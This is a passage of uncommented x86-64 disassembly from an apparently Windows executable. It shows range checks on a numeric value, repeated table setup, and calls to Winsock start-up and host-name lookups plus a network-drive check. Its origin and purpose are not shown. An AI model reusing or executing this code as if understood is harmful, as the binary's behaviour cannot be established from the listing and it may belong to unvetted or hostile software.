pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401da484
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
sub rsp, 0x20
call fcn.1400d9984
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
mov r15, rax
and r15, r15
jle 0x140008736
mov rcx, qword [0x141ef5968]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c5f4c
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef5968]
pop rdx
call fcn.1400f2fb0
jmp 0x14000877e
mov rcx, qword [0x141ef5968]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401ceb48
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef5968]
pop rdx
call fcn.1400f2fb0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
movabs rax, 0x1401c27bc
push rax
movabs rax, reloc.SHELL32.dll_IsNetDrive
push rax
movabs rax, 0x1401c5d14
push rax
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.14007a439
add rsp, 0x28
lea rcx, [0x141ef57b0]
pop rdx
call fcn.1400f2fb0
movabs rax, 0x1401c27bc
push rax
push qword [0x141ef57b0]
pop rcx
pop rdx
call fcn.1400efcc0
mov qword [0x141ef58c8], rax
mov r15, qword [0x141ef58c8]
cmp r15, 1
jge 0x14000880b
jmp 0x140008868
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
mov r15, qword [0x141ef58c8]
dec r15
mov rax, r15
push rax
push 1
push qword [0x141ef57b0]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400efe90
add rsp, 0x28
lea rcx, [0x141ef57b0]
pop rdx
call fcn.1400f2fb0
push qword [0x141ef57b0]
pop rcx
call fcn.1400eff50
mov qword [0x141ef53d0], rax
mov r15, qword [0x141ef53d0]
cmp r15, 0x2580
jl 0x1400088a6
movabs rdx, 0x1401db7e0
lea rcx, [0x141ef5970]
call fcn.1400f2e70
jmp 0x1400089ab
mov r15, qword [0x141ef53d0]
cmp r15, 0x23f0
jl 0x1400088cf
mov r15, qword [0x141ef53d0]
cmp r15, 0x2454
jge 0x1400088cf
mov rax, 1
jmp 0x1400088d2
xor rax, rax
and rax, rax
je 0x1400088f2
movabs rdx, 0x1401c2d20
lea rcx, [0x141ef5970]
call fcn.1400f2e70
jmp 0x1400089ab
mov r15, qword [0x141ef53d0]
cmp r15, 0x1db0
jl 0x14000891b
mov r15, qword [0x141ef53d0]
cmp r15, 0x1e14
jge 0x14000891b
mov rax, 1
jmp 0x14000891e
xor rax, rax
and rax, rax
je 0x14000893b
movabs rdx, 0x1401c2c72
lea rcx, [0x141ef5970]
call fcn.1400f2e70
jmp 0x1400089ab
mov r15, qword [0x141ef53d0]
cmp r15, 0xa28
jl 0x140008964
mov r15, qword [0x141ef53d0]
cmp r15, 0xbb8
jge 0x140008964
mov rax, 1
jmp 0x140008967
xor rax, rax
and rax, rax
je 0x140008995
movabs rdx, 0x1401cf09e
lea rcx, [0x141ef5970]
call fcn.1400f2e70
push 1
push 0x4e
pop rcx
pop rdx
call fcn.1400cc7d8
jmp 0x1400089ab
movabs rdx, 0x1401c2c72
lea rcx, [0x141ef5970]
call fcn.1400f2e70
push qword [0x141ef5820]
movabs rcx, 0x1401c586a
pop rdx
call fcn.1400f3090
or rax, rax
jne 0x1400089e3
push qword [0x141ef59a0]
movabs rcx, 0x1401c586a
pop rdx
call fcn.1400f3090
or rax, rax
jne 0x1400089e3
jmp 0x1400089ec
mov rax, 1
jmp 0x1400089ef
xor rax, rax
and rax, rax
je 0x140008a0c
movabs rdx, 0x1401cf008
lea rcx, [0x141ef5818]
call fcn.1400f2e70
jmp 0x140008a22
movabs rdx, 0x1401d2548
lea rcx, [0x141ef5818]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef57c8]
call fcn.1400f2e70
push qword [0x141ef5818]
movabs rcx, 0x1401cf008
pop rdx
call fcn.1400f3090
or rax, rax
je 0x140008aa0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
movabs rax, 0x1401dd348
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400a2c18
add rsp, 0x28
lea rcx, [0x141ef5620]
pop rdx
call fcn.1400f2fb0
jmp 0x140008aeb
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
movabs rax, 0x1401dba58
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400a2c18
add rsp, 0x28
lea rcx, [0x141ef5620]
pop rdx
call fcn.1400f2fb0
push qword [0x141ef5620]
movabs rcx, 0x1401c10c4
pop rdx
call fcn.1400f3090
or rax, rax
je 0x140008b4e
mov rcx, qword [0x141ef53c8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401d7f1a
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef5620]
pop rdx
call fcn.1400f2fb0
movabs rax, 0x1401cc560
push rax
push qword [0x141ef5620]
pop rcx
pop rdx
call fcn.1400efcc0
mov r15, rax
and r15, r15
jle 0x140008bc1
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
movabs rax, 0x1401d7dfc
push rax
push qword [0x141ef5620]
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.1400f0080
add rsp, 0x28
lea rcx, [0x141ef5620]
pop rdx
call fcn.1400f2fb0
mov rcx, qword [0x141ef5620]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401cc45c
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef55e8]
pop rdx
call fcn.1400f2fb0
mov qword [0x141ef5410], 0
mov qword [0x141ef5550], 0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
movabs rax, 0x1401c27bc
push rax
movabs rax, 0x1401dbfa4
push rax
movabs rax, 0x1401d4828
push rax
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.14007a439
add rsp, 0x28
lea rcx, [0x141ef58e8]
pop rdx
call fcn.1400f2fb0
push qword [0x141ef58e8]
movabs rcx, 0x1401c2952
pop rdx
call fcn.1400f3090
or rax, rax
je 0x140008caf
mov qword [0x141ef5410], 1
mov qword [0x141ef5550], 1
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
movabs rax, 0x1401c27bc
push rax
movabs rax, 0x1401c5034
push rax
movabs rax, 0x1401c5460
push rax
pop rcx
pop rdx
pop r8
sub rsp, 0x20
call fcn.14007a439
add rsp, 0x28
lea rcx, [0x141ef5768]
pop rdx
call fcn.1400f2fb0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push qword [0x141ef5768]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400f0340
add rsp, 0x28
call fcn.1400f31c0
movabs rcx, reloc.WS2_32.dll_WSAStartup
pop rdx
push rcx
mov rcx, rdx
sub rsp, 0x20
call fcn.1400f31f0
add rsp, 0x20
pop rcx
mov rdx, rax
call fcn.1400f3090
or rax, rax
je 0x140008e59
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 3
mov rcx, qword [0x141ef5438]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401ceb48
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
call fcn.1400f31c0
movabs rax, 0x1401c61d0
push rax
mov rcx, qword [0x141ef5968]
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
movabs rcx, 0x1401d9d30
sub rsp, 0x20
call fcn.1400f30f0
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp + 0x10], rdx
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.1400a2d60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140083cac
add rsp, 0x28
pop rax
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401ceafe
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401d32bc
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401dc766
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c7172
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401cc1ee
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401c1ad0
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401d6956
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c650c
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d9cb2
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401da4fc
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d5a92
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401dd1a2
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401d0184
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401cd3ee
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401daa34
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401ca24e
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401d22b0
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d1576
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401d8a5e
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401d19ae
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d3d36
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401cfc3c
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401cf828
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401cf828
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d16dc
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401d4f32
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c6462
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401d09da
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d1576
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401dbf5a
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c7756
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d389e
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401c7128
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401dcff2
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c3702
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401c67d0
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401d9568
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d228c
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401d0de4
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c6186
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c3b4a
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401cf5e6
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401ca7e0
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401d589a
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401c9bb0
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401cde6a
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401cb494
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401c1bec
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401d0ada
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401d0cc4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c710a
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d8aa8
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401c87d2
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401dc2ca
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d54a2
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401cef38
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401d6efc
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d10f8
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401ce1b6
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401ca7a8
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401cdb02
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401dc71c
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d999a
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401c4276
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d8a04
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401d79e4
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401db092
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401c3ae4
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d6dce
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401cd274
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d4a04
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401cedc2
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401cd7ca
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401dadf6
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401d10ba
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401ca75e
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401c105a
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401c9844
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
push qword [0x141ef6098]
pop rcx
call fcn.1400e9b38
mov rbp, qword [0x141ef60a0]
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x10]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x18]
call fcn.1400f2e70
movabs rdx, 0x1401c105a
lea rcx, [rbp + 0x20]
call fcn.1400f2e70
movabs rdx, 0x1401cefbe
lea rcx, [rbp + 0x38]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [rbp + 0x40]
call fcn.1400f2e70
mov qword [0x141ef6008], 0x2c
mov qword [0x141ef6010], 2
sub rsp, 0x18
movabs rax, 0x141ef6000
push rax
movabs r9, 0x1401dd670
mov r8, 8
mov rdx, 8
mov rcx, 2
sub rsp, 0x20
call fcn.1400e5720
add rsp, 0x40
mov qword [0x141ef6000], rax
mov rax, qword [0x141ef6008]
imul rax, rax, 0
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c3e9a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401dce40
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
add rax, rax
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
add rax, rax
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d49a6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401cb46a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
shl rax, 2
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
shl rax, 2
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401cd268
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d9b8e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 6
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 6
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d2082
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 7
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
